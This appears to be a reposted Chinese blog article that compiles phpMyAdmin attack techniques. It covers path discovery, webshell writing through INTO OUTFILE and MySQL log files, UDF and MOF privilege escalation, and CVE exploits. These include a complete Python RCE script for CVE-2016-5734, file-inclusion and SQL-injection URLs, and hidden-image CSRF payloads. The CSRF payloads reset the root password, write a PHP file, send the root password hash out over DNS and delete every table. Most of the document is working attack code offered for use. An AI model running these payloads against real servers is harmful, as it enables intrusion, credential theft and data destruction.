PhpMyAdmin漏洞利用匯總


PhpMyAdmin漏洞利用匯總

phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在於由於phpMyAdmin跟其他PHP程式一樣在網頁服務器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。也可借由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性。

0x01 信息收集

1.1 版本信息獲取

獲取phpmyadmin版本信息,在網址根路徑后面添加

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

(注意區分大小寫)就可以看到phpmyadmin的相關版本信息了,這個方法也是通殺的,只要管理員不把他們刪掉。

也可以直接訪問:/doc/html/index.html目錄

1.2 絕對路徑獲取

(1) phpinfo() 頁面:最理想的情況,直接顯示web路徑
(2) web報錯信息:可以通過各種fuzz嘗試讓目標報錯,也有可能爆出絕對路徑
(3) 一些集成的web框架:如果目標站點是利用phpstudy、LAMPP等之類搭建的,可以通過查看數據庫路徑

show variables like '%datadir%';

再猜解web路徑的方法,一般容易成功。
(4) 利用select load_file() 讀取文件找到web路徑:可以嘗試/etc/passwd,apache|nginx|httpd log之類的文件。

Trick:如何判斷目錄是否存在,往往確定了/var/www/html目錄,但是還有一層目錄不能 確定,可以采用目標域名+常用的網站根目錄的方式進行爆破,當使用

select 'test' into outfile '/var/www/$fuzz$/shell.php';

時目錄\(fuzz\)不存在將會報錯Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);如果存在但是目錄寫不進去將返回(Errcode: 13);如果使用的

load data infile "/etc/passwd" into table test;

該語句執行后將也會顯示文件是否存在,有權限能否寫等信息。

(5)其他方法

1.查看數據庫表內容獲取 有一些cms會保存網站配置文件 或者路徑
2.進入后台
3.百度出錯信息 zoomeye shadon 搜索error warning
4. @@datadir參數看mysql路徑 反猜絕對路徑

0x02 PhpMyAdmin利用

2.1 寫入文件GetShell

可以通過寫shell進行提權,而我們需要滿足以下條件:

1.數據庫root權限
2.知道網站的物理路徑
3.數據庫有寫權限

MySQL 5.0+的版本會,然后在服務運行的情況下修改變量變量也可以移動文件位置的,但是必須要對生成日志的目錄具有可更改的寫權限。(Linux環境下可能會比較苛刻,因為站點目錄是一個用戶,MySQL是另外一個用戶,權限管控較大嚴格,主要取決於權限配置是否得當)

2.1.1 直接寫入文件getshell

直接用into outfile 直接在網站目錄下寫入webshell,但是該方法需要前提條件是:
(1) 當前的數據庫用戶有寫權限
(2) 知道web絕對路徑
(3) web路徑能寫

如何判斷當前數據庫用戶有寫權限?
執行:

show variables like '%secure%';

如果secure_file_priv如果非空,則只能在對應的目錄下讀文件,如果是空即可在其他目錄寫。Linux下默認/tmp目錄可寫。

secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
當secure_file_priv的值為null ,表示限制mysql 不允許導入|導出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的導入|導出做限制
可以在mysql-ini文件中設置其屬性

編寫一句phpinfo文件,

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

這里必須注意要雙反斜線,否則會轉義,

2.1.2 通過寫入日志文件getshell

讀寫權限+web絕對路徑,修改日志文件為webshell

具體利用方法如下

(1) 開啟日志記錄:

set global general_log = "ON";

(2) 查看當前的日志目錄:

show variables like 'general%';

(3) 指定日志文件

set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/404.php";

(4)) 寫入執行代碼:

select "<?php phpinfo();?>";

2.1.3 通過慢查詢寫入webshell

具體方法如下:

(1) 查看當前慢查詢日志目錄:

show variables like '%slow%';

(2) 重新設置路徑:

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';

(3) 開啟慢查詢日志:

set GLOBAL slow_query_log=on;

(4)) 執行寫入日志:

select '<?php phpinfo();?>' from mysql.db where sleep(10);

2.2 User defined funct ion(UDF):

適用於Windows和Linux環境,利用需要的條件:具有寫權限+插件目錄可寫(或者可以更改指定的插件目錄)。具體情況要看目標mysql的版本:
(1) Mysql version > 5.1 時,dll或者so必須位於mysql安裝目錄lib\plugin下,當對該目錄具有寫權限時可以利用,查看:

show variables like %plugin%;// 查看插件目錄

(2) 5.0 <= Mysql version <5.1時,需要導出至目標服務器的系統目錄,如C://Windows/System32
(3) Mysql version < 5.0 時,目錄可以自定義具體利用如下:
a 根據目標mysql版本寫入特定目錄的so或者dll,可以參考sqlmap里面的

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

b 創建對應的function:

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

c 執行命令:

select * from mysql.func where name = 'sys_eval';   	 #查看創建的sys_eval函數select sys_eval('whoami');                          			 #使用系統命令

2.3 MOF提權:

通過mysql將文件寫入一個MOF文件替換掉原有的MOF文件,然后系統每隔五秒就會執行一次上傳的MOF。一般適用於Windows <= 2003,並且C:\Windows\System32\mof目錄具有寫權限(一般是沒有權限寫)。可以使用MSF直接利用:

use exploit/windows/mysql/mysql_mof
set rhost 192.168.1.5
set rport 3306
set password root
set username root
exploit

0x03 PhpMyAdmin漏洞利用

3.1 WooYun-2016-199433:任意文件讀取漏洞

影響范圍:

phpMyAdmin version
	2.x版本

POC如下:

POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80


action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

3.2 CVE-2014 -8959:本地文件包含

影響范圍:

phpMyAdmin version
	4.0.1~4.2.12
PHP version
	< 5.3.4

POC如下:

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00    # 注意改下token值

在實際利用中可以利用寫入文件到/tmp目錄下結合此漏洞完成RCE,php版本可以通過http header、導出表內容到文件的附加內容看到。

3.3 CVE-2016-5734 :后台命令執行RCE

影響范圍:

phpMyAdmin version
	4.0.10.16 之前的4.0.x版本
	4.4.15.7 之前的 4.4.x版本
	4.6.3之前的 4.6.x版本

PHP version
	4.3.0~5.4.6
Php 5.0 版本以上的將 preg_replace 的 /e修飾符給廢棄掉了

POC如下:

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

利用如下:

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

3.4 CVE-2018-12613:后台文件包含

影響范圍:

phpMyAdmin version
	4.8.0和4.8.1

利用如下:
(1)執行SQL語句,將PHP代碼寫入Session文件中:

select '<?php phpinfo();exit;?>'

(2)包含session文件:

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** 		# *** 為phpMyAdmin的COOKIE值

3.5 CVE-2018-19968:任意文件包含/RCE

影響范圍:

phpMyAdmin version
	4.8.0~4.8.3

利用如下:
(1)創建數據庫,並將PHP代碼寫入Session文件中

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

(2)生成foo數據庫的phpMyAdmin的配置表,訪問:

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

(3)篡改數據插入pma column_info中:

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 為phpMyAdmin 的COOKIE值

這里要注意不用系統的session保存位置不同,具體系統可以在phpMyAdmin登錄后首頁看到

MacOS:

/var/tmp

Linux:

/var/lib/php/sessions

phpStudy:

/phpstudy/PHPTutorial/tmp/tmp

(4)訪問包含Session文件的地址:

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

3.6 CVE-2020-0554:后台SQL注入

影響范圍:

phpMyAdmin version
	phpMyAdmin 4< 4.9.4
	phpMyAdmin 5< 5.0.1
	前提:已知一個用戶名密碼

簡單總結流程:

頁面位置server_privileges.php;

設置變量ajax_requests為true;

設置變量validate_username 為真值;

設置變量username 為我們拼接的注入語句。

構造payload:

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

(token和其余參數會在訪問頁面的時候自動提供)

我們查看后端收到的數據,可以看到SQL已經成功拼接。

執行完畢后程序只會告知SQL是否執行成功,失敗會報錯,因此此處我們可以利用報錯注入。

構造payload:

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

結果如下,可以看到已經成功執行了我們注入的指令。

CVE-2020-0554:phpMyAdmin后台SQL注入

3.7 CVE-2019-12922 跨站請求偽造

影響范圍:

phpMyAdmin version
	<= 4.9.0.1

利用如下:

在登錄狀態下,添加一個服務器

http://192.168.123.65/phpmyadmin/setup/index.php

點擊刪除時,通過工具抓包

參數id對應的是第幾個服務器。構造惡意鏈接。

當然實戰中的鏈接怎么吸引人讓目標去點擊還得靠自己去構造。

頁面顯示404,但img的src會去請求一次。此時創建了兩個服務器

點擊我們構造的惡意鏈接時,顯示剛才構造的頁面結果

此時再去查看服務器

已經被刪除,攻擊成功。

CVE-2019-12922 phpMyAdmin 4.9.0.1-跨站請求偽造漏洞復現

3.8 CVE-2017-1000499 跨站請求偽造

影響范圍:

phpMyAdmin version
	Phpmyadmin:4.7.6  
	Phpmyadmin:4.7.0:Beta1  
	Phpmyadmin:4.7.0:Rc1  
	Phpmyadmin:4.7.5  
	Phpmyadmin:4.7.4  

POC如下:

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

CVE-2017-1000499

0x04 特殊版本GetShell

4.1 CVE-2013-3238

​ 影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

​ 利用模塊:exploit/multi/http/phpmyadminpregreplace

4.2 CVE-2012-5159

​ 影響版本:phpMyAdmin v3.5.2.2

​ 利用模塊:exploit/multi/http/phpmyadmin3522_backdoor

4.3 CVE-2009-1151

​ PhpMyAdmin配置文件/config/config.inc.php存在命令執行

​ 影響版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

​ 利用模塊:exploit/unix/webapp/phpmyadmin_config

4.4 弱口令&萬能密碼

​ 弱口令:版本phpmyadmin2.11.9.2, 直接root用戶登陸,無需密碼

​ 萬能密碼:版本2.11.3 / 2.11.4,用戶名'localhost'@'@"則登錄成功

0x05 參考鏈接

phpMyAdmin滲透利用總結

phpMyAdmin 滲透利用總結

phpMydmin的GetShell思路


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM